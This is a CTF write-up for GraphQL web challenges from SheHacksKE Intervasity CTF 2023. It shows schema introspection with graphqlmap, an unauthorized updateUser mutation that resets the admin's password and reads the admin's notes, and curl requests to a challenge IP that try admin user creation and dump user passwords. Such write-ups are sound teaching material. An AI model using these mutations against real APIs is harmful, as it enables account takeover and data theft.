SheHacksKE Intervasity CTF 2023 Writeup

SheHacksKE Intervasity CTF 2023 Web Writeups

image

  • On friday the 22nd of September 2023 I had an opportunity to take part in the Annual Intervasity CTF from SheHacksKE with some friends from fr334aks under the alias “Seekers” which was partly online and also onsite at USIU Africa, We ended up winning 🥇 beating atleast other 80 teams that had atleast a single solve in the CTF

Graph1

image

  • This was a fairly easy challenge, all that was required of us was to query the flag using the GetFlag query that would fetch the flag from the Flagtable.

image

Base64 decoding the encoded strings gives the flag :)

Graph2

image

Spent sometime here as i haven’t solved alot of graphql challenges before, but in the end it was worth it, The challenge as the description said is for one to fetch or retrieve the hidden note, This hidden note probably belonged to an admin. I copied the Introspection Query from Graphql voyager to get a better understanding of the queries, available relationships etc.

image

I also used graphqlmap to gather more information as well, including mutations and potential injection points or queries that I missed.

image

image

what I tried and failed

  • Creating a User with user id 1 :x:
  • Forging the Session Key (Authentication bearer) to include isAdmin user property as True :x:
  • Creating a User with isAdmin user property as True :x:
  • Modifying The Note with ID 1 to any title and hence be able to read the new note :x:

What worked

  • Modify User with ID 1 to our controlled password (?) and return the current data along with the admin notes :heavy_check_mark:

Solution

 1
 2GraphQLmap > dump_via_fragment
 3============= [SCHEMA] ===============
 4e.g: name[Type]: arg (Type!)
 5
 600: Query
 7        findNote[]: id (Int!), 
 8        userNotes[Notes]: 
 9        getusers[User]: 
10        getFlag[FlagTable]: 
1101: Notes
12        id[ID]: 
13        title[]: 
14        body[]: 
15        userId[]: 
16        user[]: 
1705: User
18        id[ID]: 
19        firstName[]: 
20        lastName[]: 
21        isAdmin[]: 
22        email[String]: 
23        password[]: 
24        notes[Notes]: 
2507: FlagTable
26        id[ID]: 
27        flag[]: 
2808: Mutations
29        addNote[]: body (String!), title (String!), 
30        (?) mutation{addNote(body:"string",title:"string"){ result }}
31        updateNote[]: body (String!), noteId (Int!), title (String!), 
32        (?) mutation{updateNote(body:"string",noteId:1,title:"string"){ result }}
33        deleteNote[]: id (Int!), 
34        (?) mutation{deleteNote(id:1){ result }}
35        createUser[]: email (String!), firstName (String!), lastName (String!), password (String!), 
36        (?) mutation{createUser(email:"string",firstName:"string",lastName:"string",password:"string"){ result }}
37        logIn[]: email (String!), password (String!), 
38        (?) mutation{logIn(email:"string",password:"string"){ result }}
39        updateUser[]: id (Int!), lastName (String!), password (String!), 
40        (?) mutation{updateUser(id:1,lastName:"string",password:"string"){ result }}
4109: addNote
42        ok[]: 
43        note[]: 
4410: updateNote
45        ok[]: 
46        note[]: 
4711: deleteNote
48        ok[]: 
49        note[]: 
5012: createUser
51        ok[]: 
52        user[]: 
5313: logIn
54        ok[]: 
55        tokens[]: 
5614: Token
57        id[ID]: 
58        user[]: 
59        accessToken[]: 
60        refreshToken[]: 
6115: updateUser
62        ok[]: 
63        user[]: 
6416: __Schema
6517: __Type
6619: __Field
6720: __InputValue
6821: __EnumValue
6922: __Directive

As you can see on the updateUser mutation graphqlmap provided us with a sample query that we can use to update user info as

1 updateUser[]: id (Int!), lastName (String!), password (String!), 
2        (?) mutation{updateUser(id:1,lastName:"string",password:"string"){ result }}`

I later modified this query to

 1mutation {
 2  updateUser(id: 1, lastName: "Admin", password: "admin") {
 3    ok
 4    user {
 5      id
 6      email
 7      firstName
 8      lastName
 9      password
10      notes {
11        id
12        title
13        body
14      }
15    }
16  }
17}

which can be defined as

 1
 2updateUser
 3  ok[]: 
 4  user[]:
 5    id[]
 6    email[]
 7    firstName[]
 8    lastName[]
 9    password[]
10    notes[]:
11      id[]
12      title[]
13      body[]

image

  • Decode for full flag

Misc

createuser

1curl -X POST -H "Content-Type: application/json" --data '{ "query": "mutation { createUser(firstName: \"NewUser\", lastName: \"Admin\", email: \"newuser@admin.com\", password: \"EasyPassword123\", isAdmin: true) { ok user { id firstName lastName email isAdmin } } }" }' http://128.199.47.43:5000/graphql

login

1curl -X POST \
2-H "Content-Type: application/json" \
3--data '{ "query": "mutation { logIn(email: \"koimet@koimet.com\", password: \"koimet") { ok tokens { accessToken refreshToken } } }" }' \
4http://128.199.47.43:5000/graphql

GetUsers

1curl -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY5NTM3NTA1NCwianRpIjoiMDU3ZjY3YWYtNGRlYS00MWYzLTgwMTMtYmVkMDg3YTg0Yjc3IiwidHlwZSI6ImFjY2VzcyIsImlkZW50aXR5IjoibmV3dXNlckBhZG1pbi5jb20iLCJuYmYiOjE2OTUzNzUwNTQsImV4cCI6MTY5NTM3NTk1NH0.g0SJZtVyKQfdv-vlZJc8zfM9F4HRN00bMivuqn-RNe8" --data '{ "query": "{ getusers { firstName lastName isAdmin email password notes { id title body userId } } }" }' http://128.199.47.43:5000/graphql

userNotes

1curl -X POST \
2-H "Content-Type: application/json" \
3-H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY5NTM3NTA1NCwianRpIjoiMDU3ZjY3YWYtNGRlYS00MWYzLTgwMTMtYmVkMDg3YTg0Yjc3IiwidHlwZSI6ImFjY2VzcyIsImlkZW50aXR5IjoibmV3dXNlckBhZG1pbi5jb20iLCJuYmYiOjE2OTUzNzUwNTQsImV4cCI6MTY5NTM3NTk1NH0.g0SJZtVyKQfdv-vlZJc8zfM9F4HRN00bMivuqn-RNe8" \
4--data '{ "query": "{ userNotes { id title body userId user { firstName lastName } } }" }' \
5http://128.199.47.43:5000/graphql

References

hacktricksctftime